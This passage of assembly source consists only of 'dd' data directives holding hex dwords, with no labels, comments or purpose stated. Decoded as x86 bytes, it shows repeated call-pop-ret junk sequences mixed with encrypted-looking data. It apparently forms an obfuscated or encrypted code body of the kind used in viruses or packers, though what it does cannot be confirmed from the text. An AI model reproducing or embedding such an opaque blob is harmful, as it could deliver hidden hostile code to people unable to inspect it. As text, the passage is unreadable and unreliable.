		dd 0DCC0FE22h, 0F773BC72h, 0AFC3F926h, 7BCAB2B7h, 41456627h
		dd 63C5102Eh, 0C9C091F2h, 9CC0FECAh, 5F9DDE22h,	0B8ACF67Fh
		dd 0B8843E26h, 9CC0C426h, 5F95AA22h, 53BB1572h,	4B92D7E5h
		dd 9CDD7E2Dh, 9528FE22h, 0B5C07F22h, 75B3B634h,	384373CFh
		dd 9CC0E6CBh, 95EC0322h, 0EBDCE39Bh, 159AA3D2h,	7BE93FA7h
		dd 0CBC01527h, 9CC0BCCAh, 5F9FFF22h, 0B8BC667Dh, 0B8847626h
		dd 9CC0E226h, 5F97BA22h, 6551070Bh, 190684CBh, 9927B8DBh
		dd 0C9C0B561h, 9CC0ECCAh, 5F9DD722h, 0B8AC727Fh, 0B8847C26h
		dd 9CC0E626h, 5F953A22h, 6D3165F7h, 0FD5556FCh,	0FCC50810h
		dd 970172ABh, 214BFEC5h, 9927D05Bh, 6EC9643h, 22A6E54Bh
		dd 98411450h, 0BA152306h, 0CDC08500h, 9CC0F4CAh, 5F99DB22h
		dd 0B88C747Bh, 0B8847F26h, 9CC06A26h, 5F91FE22h, 9A280972h
		dd 57C0EF22h, 8145AFE5h, 9CD21242h, 9227FD22h, 0ED89F378h
		dd 0DD2EDA76h, 0CC9C84A3h, 0FFB0CB6Dh, 59751078h, 17C5100Fh
		dd 7BCE9E97h, 0FF457027h, 93C5145Bh, 9CC079A5h,	0D9753422h
		dd 63C5382Fh, 424189F2h, 1949FB02h, 9927DB77h, 0FC4570D7h
		dd 93C51481h, 0FC50819Dh, 0CC9268A9h, 0C6F1D070h, 0CCA1B77Ah
		dd 0AD04870h, 0C9AA425h, 8A1570ABh, 93FFBC5h, 99274EDBh
		dd 7491BF48h, 9CC0DF21h, 0C503B602h, 98E4BBABh,	98E4BFA3h
		dd 9CC0FD3Ah, 0ED03AF63h, 28F8575h, 9CAA67A9h, 9CC33770h
		dd 0C6E0EF22h, 0C849ADE1h, 0D841FF06h, 9CD5F906h, 0CE82FE22h
		dd 15EE44E1h, 7BEAF29Fh, 255DEE27h, 11C50838h, 7663A3A7h
		dd 9A42F427h, 0B5C0FD22h, 7BD2379Fh, 9B282F27h,	0CAC0BF22h
		dd 2455D879h, 0FAA041E4h, 0CDE94A98h, 159A9A7Bh, 2149D926h
		dd 9927D3D7h, 0B8DCF672h, 7497BF48h, 9CC0DF21h,	0C303B002h
		dd 98E48BABh, 98E4BFA3h, 9CC0FD3Fh, 4003A965h, 26BC3F40h
		dd 5BD4E8Ch, 0C8015EC2h, 63DEB846h, 7BCF96B7h, 0CAC09127h
		dd 9CC0FECAh, 5F9EDE22h, 0B8B4F67Ch, 0B8843E26h, 9CC0C626h
		dd 5F96A922h, 8DA8DA9Dh, 5140A26Ah, 115D7445h, 15C51908h
		dd 7BECA6A7h, 19074627h, 9927F557h, 9CC0EF2Dh, 494D7C73h
		dd 0C3C51C13h, 93F2BA9h, 9927D2FBh, 1510F444h, 7BD972A7h
		dd 0C97D5627h, 17C50826h, 7BEEC2A7h, 0D05D7627h, 15C51794h
		dd 214DFF61h, 99275CF3h, 2AE60AAFh, 0AF79DAC8h,	6FC0EF22h
		dd 24F31C86h, 9CC0FB22h, 9FB43D29h, 17C0E6E0h, 0CFCC5B66h
		dd 9CC0BFCAh, 5F418422h, 9CC0EF35h, 8CE4ABABh, 88E4BFABh
		dd 3CF74579h, 7C3FFE82h, 98E43BA9h, 9CAA5FDDh, 9CC33774h
		dd 0C2E0EF22h, 0E849A9E1h, 0D841FF06h, 9CD8F906h, 0CA86FE22h
		dd 1C566FE1h, 1793A129h, 7BCBB6B7h, 294BB027h, 9927F3C7h
		dd 9CB966ABh, 9628F8C5h, 24C0FE22h, 1F25F444h, 5E3ED58Dh
		dd 9CC93617h, 0A540EF22h, 91372F42h, 0C26B3C06h, 0CFC09743h
		dd 9CC0FDCAh, 5F9B5F22h, 0B89C3679h, 0B8845E26h, 9CC0F526h
		dd 5F93B422h, 53B2C04Dh, 75979676h, 9CC0FE2Ah, 0A0AF32CBh
		dd 0DE9CD2D2h, 3F9462AFh, 114DEAC8h, 992A41D5h,	0BA6BCE9Ah
		dd 3D45CEBAh, 0B7C51927h, 0E217A0EDh, 0CACCC085h, 229CC0F4h
		dd 7A5F98DBh, 26B88474h, 26B8847Fh, 229CC065h, 0F305E983h
		dd 8BD98BA4h, 0E7176DB5h, 58F0F05h, 66000000h, 2865CE81h
		dd 49E9h, 0B70F6000h, 6161F8C3h, 0CE9h,	0F36B4000h, 688BAB01h
		dd 0CFA4840Fh, 6AC3D6h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 2CDB2EC3h, 0BE9FC06h, 0EF000000h
		dd 1658A26Ch, 0B174682Ah, 0C08BC362h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0AC35141h, 138B0F71h, 0E9000000h
		dd 0Eh,	1737186Ah, 4639BEC8h, 6C1F562Eh, 0BD83D9F2h, 5E70D79h
		dd 83097500h, 0E71C15BDh, 19740005h, 0C08B5350h, 4B9B8h
		dd 2D858900h, 8D05E70Fh, 0E9AA9B9Dh, 5BD3FF05h,	15BD8358h
		dd 5E71Ch, 53501774h, 4B9B8h, 2D858900h, 8D05E70Fh, 0E9A73C9Dh
		dd 5BD3FF05h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0B649F8EDh, 0F17D596Bh, 0FF84212h
		dd 185h, 8A0FF800h, 5, 6160F960h, 0E9C08B61h, 0Ah, 57FA8F07h
		dd 8A58763Dh, 8B40FB65h, 4EBF9C1h, 0
		dd 16499D89h, 858D05E7h, 5E71AF9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 80C35545h, 12C2CE9h, 26CDB58Bh
		dd 529005E7h, 0B5F1BF66h, 0BE66505Fh, 6A9075C8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 3441C350h, 53B26601h, 0F978DF7Ch, 96DE8166h,	0A1950148h
		dd 6A05E722h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 662AB32Dh, 6A2B8CBEh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0CA5251CBh, 1DB7470Eh, 0BA69858Dh, 6A05EAh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 832588C3h, 0B58B05C0h, 5E72189h, 0FE8B6650h,	6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 68D1C355h, 0A3076C5h, 8D290BBEh, 5E7136Dh
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 7A041FC3h, 6E8D060Fh, 0FE8B87EBh,	6A006AF8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0A7F4C353h, 8960C866h, 0E7096D8Dh, 3830F05h
		dd 66000000h, 0FF61F78Bh, 0E702C595h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 8EB3B107h, 9D89E13Ch, 5E7169Dh, 95149D8Dh, 6A05EAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 3FFE11C3h, 0F6380748h, 57BFF733h, 0FF1BDAE3h, 51006AD3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 58E050A7h, 89FD7444h, 0E72A29BDh, 0F8B70F05h, 1CE185FFh
		dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0E9A0DFC3h, 9CE9FB8Bh, 0E8000006h, 0
		dd 73ED815Dh, 6A05EABAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 6D94C353h, 58686EB8h
		dd 815F50BCh, 0E72A75BDh, 7D005h, 4D860F00h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 6141C355h, 221C35C6h, 23E3FF99h, 0E72075B5h
		dd 0D99D8B05h, 6A05E727h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 47B7C357h, 2D20E5D6h
		dd 217D8D89h, 0F18B05E7h, 100E381h, 0B70F0000h,	0FDB0BFEh
		dd 0A285h, 0B58D8900h, 6605E725h, 89F9D681h, 0B847BD83h
		dd 0F0005EAh, 2784h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0E9B3ABA9h, 91h, 0DB5EBE66h
		dd 0B84785C7h, 105EAh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 157FD2C3h, 0A7CFDBDFh
		dd 0E9F8AF9Bh, 59h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0EFC35747h, 5E8023BBh, 3309E2DEh, 0E726D5BDh
		dd 35B58B05h, 0C705E723h, 0EAB84785h, 5, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0B286DC5Fh, 0D99D8D33h, 8B05E727h, 0E715CDBDh, 0FF238105h
		dd 0BFFFFFFEh, 53AAB8C8h, 6ADB8C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 34C8C350h
		dd 0B58B8DBEh, 5E7255Dh, 0F04C3F6h, 4184h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 828E018Ch, 0BB987C3Eh, 835B52Bh, 95FF05E7h, 5E72CD9h
		dd 0B599D89h, 509005E7h, 90F18B66h, 0DD9B58Bh, 69E905E7h
		dd 66000003h, 1BA7D781h, 0C78100B0h, 39AAE756h,	0E6F7BF0Fh
		dd 6071E470h, 1B59BD8Bh, 0BD8B05E7h, 5E71C5Dh, 0D8B60F61h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E4C35545h
		dd 0B7A24556h, 6BAD88Eh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 1F81C353h
		dd 895006E1h, 0E727F18Dh, 0C38B5F05h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0F1C35646h,	51D629C4h, 1CD1B58Bh
		dd 895F05E7h, 0E70E19B5h, 4E8C105h, 2BE2F766h, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0FE451A87h, 6E90Bh, 50BE0000h, 0E8C3E951h, 56505693h
		dd 505F5E5Eh, 3830Fh, 8B660000h, 958993F0h, 5E72A5Dh, 2A75B5FFh
		dd 816605E7h, 0FF180FE7h, 0E71A1D95h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0C4BBF2A6h, 6A00B05Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 186BC356h, 1A0D8D89h
		dd 858905E7h, 5E72BB9h,	0BF6670E6h, 71E44EA8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 10C35747h, 613C9350h
		dd 1F2830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 50FB97C3h, 8569ED94h, 0D8B60F94h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 1BC35242h
		dd 0FB64C17h, 68Bh, 0C4F78100h,	0BA5B6A6Ch, 6, 0DE816657h
		dd 8B5F9B8Ah, 89BD8BC3h, 0C105E723h, 6A04E8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 357E45C3h
		dd 4008F344h, 66E2F766h, 0DE90C681h, 22ADD781h,	0D82B3413h
		dd 68C0Fh, 9D310000h, 5E70785h,	50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 2B1D1EB6h
		dd 25880FD8h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 9F71C353h, 0F3F5BEEh
		dd 8Ch,	7B900h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 24910AC3h, 52C88B4Bh
		dd 5BD8B5Bh, 8305E723h,	0BF0F00C1h, 0FD93BF8h, 0C386h
		dd 8E900h, 97E30000h, 4E0CC895h, 8C666488h, 56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0E2CA339h, 0F04C1F6h, 8984h,	0DE800h, 0E2290000h, 8873D21Ah
		dd 0A94DAB93h, 5E7CDBDEh, 2CD995FFh, 605605E7h,	66F18B66h
		dd 614391BBh, 5F525B5Fh, 0D681C32Bh, 122BD7FFh,	8343Dh
		dd 4F860F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0E469C352h,	4FE21CF5h
		dd 31BD0B16h, 0E905E707h, 24h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0BC35141h, 0F473ACDh, 0C08BF3B7h
		dd 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0B3C35646h, 8BD68543h, 2A55B589h, 85C705E7h, 5E71C59h
		dd 5BF3373Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0A8C35242h, 18A7860Bh, 9018589h, 0C08B05E7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 44C35747h, 81B3F565h
		dd 90ADCFE7h, 741CBF4Eh, 0BD8113B6h, 5E72A75h, 7D0h, 11850Fh
		dd 0BD8B0000h, 5E732F5h, 2A7585FFh, 51BF05E7h, 0FF0E9DE5h
		dd 0E72A75B5h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 951F952Ch, 71958900h
		dd 0FF05E70Fh, 0E71A1D95h, 0B890F505h, 12345678h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 43C35545h, 38BE6DA0h
		dd 8D223DB1h, 0EAC0B69Dh, 0F985E905h, 6AFFFFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 94D2B5C3h, 8BFB8B66h, 5BD2BC1h, 0EB05E717h, 4, 0F2B70F00h
		dd 58F68166h, 0F9858DDBh, 6A05E71Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 76B7C355h
		dd 8A0F32h, 50000000h, 489F98Bh, 6880F24h, 81000000h, 68C89E7h
		dd 0F5006A5Dh, 8DF5006Ah, 0EAC2C185h, 0FE8B6605h, 31919589h
		dd 0C08305E7h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B4FC60Bh, 0E70E39B5h
		dd 0CE85005h, 84000000h, 6B73231Ch, 91205944h, 0E8E932E2h
		dd 8, 6863837h,	492C3486h, 5EF38B66h, 2404895Fh, 10E8h
		dd 28296E00h, 71F59312h, 76D58A28h, 0A70A2B80h,	99BD8BACh
		dd 5E05E72Ah, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 86DB78C3h, 0F2BF0FF7h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0AE84FC3h, 51000000h, 0E692C404h, 853C12F3h,	6870F09h
		dd 81000000h, 2C553CDFh, 95FF5F05h, 5E702C5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 59C35545h, 0FD1F6DC5h
		dd 0E8543B39h, 8, 0AA32F49h, 0E8A7160Fh, 5EF18B66h
		dd 95149D8Dh, 0B58B05EAh, 5E72D45h, 8509D3FFh, 5E71C31h
		dd 1CE185FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0E9A8E7C3h, 12h,	0FDCBA7FFh, 8020220Dh
		dd 140F78B5h, 124D8AB0h, 49E99886h, 0E800000Eh,	0
		dd 0CBED815Dh, 0E805EAC2h, 10h,	7760BE31h, 5DDE5354h, 0CA1999E4h
		dd 1DE2AA83h, 5EF3B70Fh, 2A75BD81h, 7D005E7h, 860F0000h
		dd 1BFh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	0EBC35040h, 912C5C17h, 8589E856h, 5E71D09h, 68D0Fh
		dd 0B5890000h, 5E701D1h, 25A19D8Bh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 7F4471C3h
		dd 0BB2F9197h, 79BF6663h, 0A129BF4Bh, 0E3811B67h, 100h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 79C35747h
		dd 0ED7AF27Fh, 571BD8Bh, 0DB0B05E7h, 0B8850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 656D9BC3h, 3DB2344h,	52BE6654h, 5B533E1h, 8305E723h
		dd 0EAC114BDh, 840F0005h, 40h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 76C35040h, 4A248AC1h, 9D31CD12h
		dd 5E712BDh, 66E9h, 0CE95700h, 9D000000h, 1072424Bh, 0EDA99ABAh
		dd 5ECB986Ch, 0C11485C7h, 105EAh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0B521A9C3h
		dd 15A525EFh, 0BD8B5756h, 5E72271h, 18E95E5Eh, 66000000h
		dd 85C7FB8Bh, 5EAC114h,	0
		dd 0AE9BD8Bh, 816605E7h, 8DAFC9EEh, 0E725A19Dh,	56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 70A5FED7h, 8E0F596Ah, 6, 0CE9B52Bh, 238105E7h, 0FFFFFEFFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 39C35242h
		dd 662A605Bh, 8B60DB8Ch, 0E709198Dh, 10E805h, 2B910000h
		dd 0ACE899F5h, 0B10E96Ch, 0CE39F60Eh, 0F0811742h, 33F4C248h
		dd 0C3F66158h, 69840F04h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F4C6C353h
		dd 4DB589D6h, 0FF05E71Bh, 0E72CD995h, 0AE89005h, 45000000h
		dd 8759051Fh, 59310C61h, 5F53520Bh, 8B505E5Eh, 6A90F3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 311123C3h, 0BD8B6B24h, 5E704FDh, 40DE9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 94FC4103h, 0ACD916F9h, 0FABF0FCFh, 6A00B0h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 193232C3h, 0E660183Dh, 56006A70h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 5AC06E80h
		dd 14E9FE4Fh, 38000000h, 0CBB0BB8Eh, 428B7524h,	0A418932h
		dd 4894CD95h, 0E45E0FC2h, 11BD8B71h, 0F05E71Ch,	6AD8B6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0F23A96C3h, 3EAEDE7h, 6BA5E52h, 89000000h, 0E7234DBDh
		dd 6AC38B05h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0F07FC352h, 0C9CD08D6h, 8BA21102h
		dd 0A307BF66h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 3C44C350h, 66789077h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8925EAC3h, 0E72A858Dh, 0E9BD8B05h, 2B05E70Eh
		dd 0EE9D8h, 468B0000h, 214F2318h, 0D3BC7F63h, 56A67417h
		dd 0BF665093h, 8B93851Dh, 0E7095DBDh, 75B5FF05h, 6A05E72Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0A5BEC350h, 11304330h, 2870F20h, 8B000000h
		dd 8C0FF7h, 31000000h, 0E71571B5h, 1D95FF05h, 6A05E71Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 7909C352h, 0CD74D480h, 665DEFFDh,	0B0F4E3BEh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 70E657B7h, 26F58D29h, 71E405E7h,	24DBD2Bh
		dd 613C05E7h, 210830Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0FF981C3h, 6BAD8B6h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 42A4C352h, 6AC38Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 7121CDC3h
		dd 0C88A5DBCh, 0BD8B3ABBh, 5E723B5h, 555BD8Bh, 0E8C105E7h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 667F564Eh, 248FF781h, 2221B58Bh,	0F76605E7h
		dd 57006AE2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 9EACF2F1h, 3B46EC49h, 8B66D82Bh,	0B50B58FAh
		dd 5E71501h, 880FD82Bh,	136h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0A7C35545h,	54DF48E7h, 0B9F18BBBh
		dd 7, 0AF68166h, 0C18344h, 5846B8BFh, 0FD93B04h, 0F986h
		dd 0D1B58900h, 6605E722h, 9D89D98Ch, 5E71AFDh, 0F04C1F6h
		dd 0B584h, 0B1BD8B00h, 0FF05E732h, 0E72CD995h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 75BD031Eh, 0F805E720h, 0FD9D315Bh, 2B05E71Ah, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 7C69335h, 3818A5D6h,	343D8201h, 0F000008h, 4D86h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BD7AC01h, 0E70581B5h, 18860F05h, 0F000000h,	1281h
		dd 0DE900h, 73950000h, 53D02735h, 9FCBB91Ah, 0E94F8498h
		dd 32h,	1A21B58Bh, 0C08B05E7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0D0C35343h,	3FE22CB7h, 353668CCh
		dd 0EF81668Ch, 0C38B209Bh, 8D29D88Bh, 5E72485h,	27D985C7h
		dd 0C9F305E7h, 0BD8B3C11h, 5E71785h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F0AAF9C3h
		dd 0DCBD436Bh, 2311BD8Bh, 0BD8105E7h, 5E72A75h,	7D0h, 45850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 187EDEC3h, 696939EBh, 2A7585FFh, 6A05E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0FFF519C3h, 0E72A75B5h, 0F0B70F05h, 1A1D95FFh, 6A05E7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 40379BC3h, 6A40903Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 7EAEC356h, 0D41BD83h
		dd 0F0005E7h, 0E684h, 4DBD8300h, 5E70Dh, 0D9840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 96D8C9C3h, 5DADA8F8h, 0FFA2B831h, 0E70D4195h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0BC75B7AFh, 1EADBB61h, 1DBD8B8Ah, 0B05E70Ch,	7C840FC0h
		dd 0E8000000h, 11h, 0AF7D97FBh,	80E25FC4h, 94BDCBE7h, 0C86CFD38h
		dd 0B58B5F7Dh, 5E72A41h, 4DFA8D8Dh, 0B50905E7h,	5E712B5h
		dd 5B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 9940E536h, 85BD8B4Dh, 0BE05E714h
		dd 694AF6E1h, 6AE1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8166FCC3h, 835815E7h, 0E72DF1BDh
		dd 840F0005h, 5B7h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0A5C35646h, 4DBD831Dh, 5E70Dh, 58D840Fh
		dd 8DF50000h, 0E701718Dh, 0DD952905h, 0C705E726h, 0B27C8401h
		dd 52006A44h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F873A998h, 0CFCB0181h, 0BF661499h, 41C748F4h
		dd 706B3404h, 53006ACEh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 54B1EE95h, 8C0FC565h, 3, 81F0BF0Fh
		dd 5365D1C7h, 441811Ah,	31D6D710h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0E2C35646h,	2B580D03h, 6AF88B66h
		dd 13E900h, 41660000h, 0B4C6AEC9h, 0FF93BCBFh, 849B6E3Dh
		dd 12DBA4A0h, 71858DB4h, 6A05E701h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 49E6C353h
		dd 999E7C04h, 50FAEB43h
		dd 905F5F50h, 0BF669050h, 95FF46A2h, 5E72DF1h, 0C2E68166h
		dd 8DF78B29h, 0E701718Dh, 0C75F5005h, 1, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0B6ADA348h, 88D5EF81h, 41C760D2h, 4,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0E821BE00h, 8, 1C143BF9h, 665177D3h,	7FFFBF66h, 0FC00B5Fh
		dd 6A84h, 8B0F00h, 8D000000h, 0E74DFA8Dh, 29958905h, 0B805E722h
		dd 5, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 19h
		dd 0C6C35646h, 0F29BF47h, 1195313Fh, 0FF05E71Bh, 53006AE1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 549DE654h, 4870FE1h,	66000000h, 8DA2DBBEh, 0E701718Dh
		dd 79E78105h, 0F4C44F4h, 1C7F6B7h, 44AA727Ch, 0CFCB0181h
		dd 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 4D7221C3h, 0C86E588Ah, 58806ABFh,	441C744h
		dd 0CE78753Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0C8C35646h, 8B6655EDh, 44181F3h, 31D6D710h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F0C35747h, 5EBA8C62h
		dd 298D2950h, 2905E715h, 0E72A55BDh, 6A006A05h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 60F3C356h, 0AE9h, 0BD2F8300h, 90D06E90h, 899DA2BBh
		dd 0E7312DB5h, 858D6105h, 5E70171h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 54C35545h, 0F7B1A3ECh, 0F906BBCh
		dd 384h, 0F18B6600h, 8A0F9050h,	5, 49F1A9BFh, 0C9BD8B40h
		dd 0FF05E704h, 0E72DF195h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 82F96845h
		dd 49B58B2Fh, 0F05E70Eh, 685h, 15BD3100h, 8D05E70Eh, 0E701718Dh
		dd 1C7F505h, 0
		dd 0ED9D0157h, 5F05E730h, 0C7FBB70Fh, 441h, 0B58B0000h
		dd 5E72F7Dh, 840FC00Bh,	5Fh, 9070F1BEh,	0FA8D8D03h, 8905E74Dh
		dd 0E70E199Dh, 0CE905h,	1A1D0000h, 0F697EE63h, 6ACBCEE0h
		dd 5B8E722h, 89000000h,	0E723B595h, 6AE1FF05h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0A16EC357h, 8166961Eh, 8B6B66EFh, 0E72319BDh, 9DCF8105h
		dd 8D0B272Ah, 0E701718Dh, 0A501C705h, 0E954CA95h, 6, 7BA155EEh
